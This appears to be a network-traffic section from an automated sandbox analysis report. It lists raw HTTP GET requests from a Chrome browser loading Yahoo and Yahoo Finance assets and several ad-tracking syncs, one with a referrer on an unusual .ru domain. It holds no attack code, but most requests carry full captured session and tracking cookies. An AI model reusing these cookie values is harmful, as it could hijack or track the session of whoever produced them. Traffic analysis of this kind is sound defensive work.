Source: global traffic	HTTP traffic detected: GET /uu/api/res/1.2/Wzs19jFHdMDc_wAXtX4KnQ--~B/Zmk9c3RyaW07aD0xNTY7dz0zMDA7YXBwaWQ9eXRhY2h5b24-/https://s.yimg.com/os/creatr-uploaded-images/2024-09/7e34b8e0-7778-11ef-b5fd-d718d88a3d1b.cf.webp HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/_app/immutable/assets/AdGroup.BvlaXdca.css HTTP/1.1Host: finance.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://finance.yahoo.com/sectors/basic-materials/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A3=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A1S=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; cmp=t=1727716858&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-PMOp3thE2uLhyy8QFBkAKGqNgLvzneG4~A&dv360=eS1LZzdROG1GRTJ1RVZ3MWZ2WWt1bTRBdVAxOElBSy5Dbn5B&ydsp=y-WXkjhRBE2uJjlZ_QwZAT4oBAasxO1UgW~A&tbla=y-GxlMYYJE2uKUC.fndnfIPNmh3DR_ejLH~A; tbla_id=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383; __gads=ID=9e1f1bcfb981154e:T=1727716876:RT=1727716876:S=ALNI_MZbu06nRe70doE7Am1306bjZBopGw; __gpi=UID=00000efef81eaeb2:T=1727716876:RT=1727716876:S=ALNI_Mb6c_qZj_qcAZ-YRLXBZ1XgJ5ozPw; __eoi=ID=1ec18cf0052b6e87:T=1727716876:RT=1727716876:S=AA-AfjYtYuQWIvoKp4IIb--5_VOy
Source: global traffic	HTTP traffic detected: GET /uu/api/res/1.2/irocQ7vdF0Cre0047_F2BA--~B/Zmk9c3RyaW07aD0xNTY7dz0zMDA7YXBwaWQ9eXRhY2h5b24-/https://s.yimg.com/os/creatr-uploaded-images/2024-09/1ab9b3e0-7f4a-11ef-9bc8-98e2d97b2d54.cf.webp HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /uu/api/res/1.2/1exjVpdKZ.RKQhQMvgY39Q--~B/Zmk9c3RyaW07aD0xNTY7dz0zMDA7YXBwaWQ9eXRhY2h5b24-/https://s.yimg.com/os/creatr-uploaded-images/2023-09/e0cf9c30-5ee8-11ee-af7e-5e30c1880d05.cf.webp HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /p2?c1=2&c2=7241469&c5=2023538075&c7=https%3A%2F%2Fwww.yahoo.com%2F&c14=-1&c8=Yahoo%20%7C%20Mail%2C%20Weather%2C%20Search%2C%20Politics%2C%20News%2C%20Finance%2C%20Sports%20%26%20Videos&c9=https%3A%2F%2Fhfj.rontishet.ru%2F&gdpr=0&gdpr_consent=&cs_ucfr=1&cs_fpdm=null&cs_fpdt=null&cs_fpid=ktb74Qf%2BB5a5JQqJGS%2Fbp0PG1iIU%2BWKGDEPE8YdWnT4%3D&cs_fpit=c&ns_c=UTF-8&ns__t=1727716870229 HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: UID=1DD20ed7f68597d26f3495f1727716881; XID=1DD20ed7f68597d26f3495f1727716881
Source: global traffic	HTTP traffic detected: GET /assets/_app/immutable/assets/Header.BvCA0Mhu.css HTTP/1.1Host: finance.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://finance.yahoo.com/sectors/basic-materials/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A3=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A1S=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; cmp=t=1727716858&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-PMOp3thE2uLhyy8QFBkAKGqNgLvzneG4~A&dv360=eS1LZzdROG1GRTJ1RVZ3MWZ2WWt1bTRBdVAxOElBSy5Dbn5B&ydsp=y-WXkjhRBE2uJjlZ_QwZAT4oBAasxO1UgW~A&tbla=y-GxlMYYJE2uKUC.fndnfIPNmh3DR_ejLH~A; tbla_id=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383; __gads=ID=9e1f1bcfb981154e:T=1727716876:RT=1727716876:S=ALNI_MZbu06nRe70doE7Am1306bjZBopGw; __gpi=UID=00000efef81eaeb2:T=1727716876:RT=1727716876:S=ALNI_Mb6c_qZj_qcAZ-YRLXBZ1XgJ5ozPw; __eoi=ID=1ec18cf0052b6e87:T=1727716876:RT=1727716876:S=AA-AfjYtYuQWIvoKp4IIb--5_VOy
Source: global traffic	HTTP traffic detected: GET /assets/_app/immutable/assets/159.DCpiEfEp.css HTTP/1.1Host: finance.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://finance.yahoo.com/sectors/basic-materials/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A3=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A1S=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; cmp=t=1727716858&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-PMOp3thE2uLhyy8QFBkAKGqNgLvzneG4~A&dv360=eS1LZzdROG1GRTJ1RVZ3MWZ2WWt1bTRBdVAxOElBSy5Dbn5B&ydsp=y-WXkjhRBE2uJjlZ_QwZAT4oBAasxO1UgW~A&tbla=y-GxlMYYJE2uKUC.fndnfIPNmh3DR_ejLH~A; tbla_id=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383; __gads=ID=9e1f1bcfb981154e:T=1727716876:RT=1727716876:S=ALNI_MZbu06nRe70doE7Am1306bjZBopGw; __gpi=UID=00000efef81eaeb2:T=1727716876:RT=1727716876:S=ALNI_Mb6c_qZj_qcAZ-YRLXBZ1XgJ5ozPw; __eoi=ID=1ec18cf0052b6e87:T=1727716876:RT=1727716876:S=AA-AfjYtYuQWIvoKp4IIb--5_VOy
Source: global traffic	HTTP traffic detected: GET /assets/_app/immutable/assets/SectorNews.B3Fo2MG7.css HTTP/1.1Host: finance.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://finance.yahoo.com/sectors/basic-materials/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A3=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A1S=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; cmp=t=1727716858&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-PMOp3thE2uLhyy8QFBkAKGqNgLvzneG4~A&dv360=eS1LZzdROG1GRTJ1RVZ3MWZ2WWt1bTRBdVAxOElBSy5Dbn5B&ydsp=y-WXkjhRBE2uJjlZ_QwZAT4oBAasxO1UgW~A&tbla=y-GxlMYYJE2uKUC.fndnfIPNmh3DR_ejLH~A; tbla_id=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383; __gads=ID=9e1f1bcfb981154e:T=1727716876:RT=1727716876:S=ALNI_MZbu06nRe70doE7Am1306bjZBopGw; __gpi=UID=00000efef81eaeb2:T=1727716876:RT=1727716876:S=ALNI_Mb6c_qZj_qcAZ-YRLXBZ1XgJ5ozPw; __eoi=ID=1ec18cf0052b6e87:T=1727716876:RT=1727716876:S=AA-AfjYtYuQWIvoKp4IIb--5_VOy
Source: global traffic	HTTP traffic detected: GET /cx/pv/perf-vitals_3.3.0.js HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/_app/immutable/assets/ErrorMsg.CmzKsgiD.css HTTP/1.1Host: finance.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://finance.yahoo.com/sectors/basic-materials/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A3=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A1S=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; cmp=t=1727716858&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-PMOp3thE2uLhyy8QFBkAKGqNgLvzneG4~A&dv360=eS1LZzdROG1GRTJ1RVZ3MWZ2WWt1bTRBdVAxOElBSy5Dbn5B&ydsp=y-WXkjhRBE2uJjlZ_QwZAT4oBAasxO1UgW~A&tbla=y-GxlMYYJE2uKUC.fndnfIPNmh3DR_ejLH~A; tbla_id=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383; __gads=ID=9e1f1bcfb981154e:T=1727716876:RT=1727716876:S=ALNI_MZbu06nRe70doE7Am1306bjZBopGw; __gpi=UID=00000efef81eaeb2:T=1727716876:RT=1727716876:S=ALNI_Mb6c_qZj_qcAZ-YRLXBZ1XgJ5ozPw; __eoi=ID=1ec18cf0052b6e87:T=1727716876:RT=1727716876:S=AA-AfjYtYuQWIvoKp4IIb--5_VOy
Source: global traffic	HTTP traffic detected: GET /floorPrice/wnsrvBJmEPrTfrnFX/js/floorPrice/linreg.min.js HTTP/1.1Host: wnsrvbjmeprtfrnfx.ay.deliveryConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/_app/immutable/assets/Dock.BKyC7edm.css HTTP/1.1Host: finance.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://finance.yahoo.com/sectors/basic-materials/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A3=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A1S=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; cmp=t=1727716858&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-PMOp3thE2uLhyy8QFBkAKGqNgLvzneG4~A&dv360=eS1LZzdROG1GRTJ1RVZ3MWZ2WWt1bTRBdVAxOElBSy5Dbn5B&ydsp=y-WXkjhRBE2uJjlZ_QwZAT4oBAasxO1UgW~A&tbla=y-GxlMYYJE2uKUC.fndnfIPNmh3DR_ejLH~A; tbla_id=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383; __gads=ID=9e1f1bcfb981154e:T=1727716876:RT=1727716876:S=ALNI_MZbu06nRe70doE7Am1306bjZBopGw; __gpi=UID=00000efef81eaeb2:T=1727716876:RT=1727716876:S=ALNI_Mb6c_qZj_qcAZ-YRLXBZ1XgJ5ozPw; __eoi=ID=1ec18cf0052b6e87:T=1727716876:RT=1727716876:S=AA-AfjYtYuQWIvoKp4IIb--5_VOy
Source: global traffic	HTTP traffic detected: GET /bounce?%2Fgetuid%3Fhttps%3A%2F%2Fads.yieldmo.com%2Fv000%2Fsync%3Fextinit%3D0%26userid%3D%24UID%26pn_id%3Dan HTTP/1.1Host: ib.adnxs.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.yieldmo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XANDR_PANID=RGs3E-BNKWUM9-E0Yk6nUq1ov1cuPZyw51dkSNWtWVZE2TtKD2t0w8nihOlT-IcCBZ6eN6XF0B7WUcdB-B2J9u_noxx1687OtyCpmDgTn8Y.; receive-cookie-deprecation=1; uuid2=7992184014990425658
Source: global traffic	HTTP traffic detected: GET /usersync2/rmpssp?sub=yieldmo&zcc=1&cb=1727716882237 HTTP/1.1Host: sync.1rx.ioConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.yieldmo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _rxuuid=%7B%22rx_uuid%22%3A%22RX-3fef85e6-bbf0-409a-a376-6c1ad497756a-003%22%2C%22zdxidn%22%3A%222069.28%22%7D
Source: global traffic	HTTP traffic detected: GET /track/cmf/generic?ttd_pid=svx9t50&ttd_tpi=1&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid= HTTP/1.1Host: match.adsrvr.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eb2.3lift.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cv/apiv2/weather-svg/MOSTLY_CLOUDY_DAY.svg HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /px.gif?ch=1&rn=1.7387329119779311 HTTP/1.1Host: www.yahoo.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A3=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A1S=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; cmp=t=1727716858&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-PMOp3thE2uLhyy8QFBkAKGqNgLvzneG4~A&dv360=eS1LZzdROG1GRTJ1RVZ3MWZ2WWt1bTRBdVAxOElBSy5Dbn5B&ydsp=y-WXkjhRBE2uJjlZ_QwZAT4oBAasxO1UgW~A&tbla=y-GxlMYYJE2uKUC.fndnfIPNmh3DR_ejLH~A; tbla_id=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383; trc_cookie_storage=taboola%2520global%253Auser-id%3D27eb735b-f48b-4088-80a5-78ec8c9435df-tuctdf46380; __gads=ID=9e1f1bcfb981154e:T=1727716876:RT=1727716876:S=ALNI_MZbu06nRe70doE7Am1306bjZBopGw
Source: global traffic	HTTP traffic detected: GET /cv/apiv2/weather-svg/SHOWERS.svg HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /px.gif?ch=2&rn=1.7387329119779311 HTTP/1.1Host: www.yahoo.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A3=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A1S=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; cmp=t=1727716858&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-PMOp3thE2uLhyy8QFBkAKGqNgLvzneG4~A&dv360=eS1LZzdROG1GRTJ1RVZ3MWZ2WWt1bTRBdVAxOElBSy5Dbn5B&ydsp=y-WXkjhRBE2uJjlZ_QwZAT4oBAasxO1UgW~A&tbla=y-GxlMYYJE2uKUC.fndnfIPNmh3DR_ejLH~A; tbla_id=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383; trc_cookie_storage=taboola%2520global%253Auser-id%3D27eb735b-f48b-4088-80a5-78ec8c9435df-tuctdf46380; __gads=ID=9e1f1bcfb981154e:T=1727716876:RT=1727716876:S=ALNI_MZbu06nRe70doE7Am1306bjZBopGw
Source: global traffic	HTTP traffic detected: GET /cv/apiv2/yahoo_weather_web/accuweather-horizontal.png HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/_app/immutable/assets/EventCalendarPreview.CNE2v6iu.css HTTP/1.1Host: finance.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://finance.yahoo.com/sectors/basic-materials/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A3=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A1S=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; cmp=t=1727716858&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-PMOp3thE2uLhyy8QFBkAKGqNgLvzneG4~A&dv360=eS1LZzdROG1GRTJ1RVZ3MWZ2WWt1bTRBdVAxOElBSy5Dbn5B&ydsp=y-WXkjhRBE2uJjlZ_QwZAT4oBAasxO1UgW~A&tbla=y-GxlMYYJE2uKUC.fndnfIPNmh3DR_ejLH~A; tbla_id=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383; __gads=ID=9e1f1bcfb981154e:T=1727716876:RT=1727716876:S=ALNI_MZbu06nRe70doE7Am1306bjZBopGw; __gpi=UID=00000efef81eaeb2:T=1727716876:RT=1727716876:S=ALNI_Mb6c_qZj_qcAZ-YRLXBZ1XgJ5ozPw; __eoi=ID=1ec18cf0052b6e87:T=1727716876:RT=1727716876:S=AA-AfjYtYuQWIvoKp4IIb--5_VOy
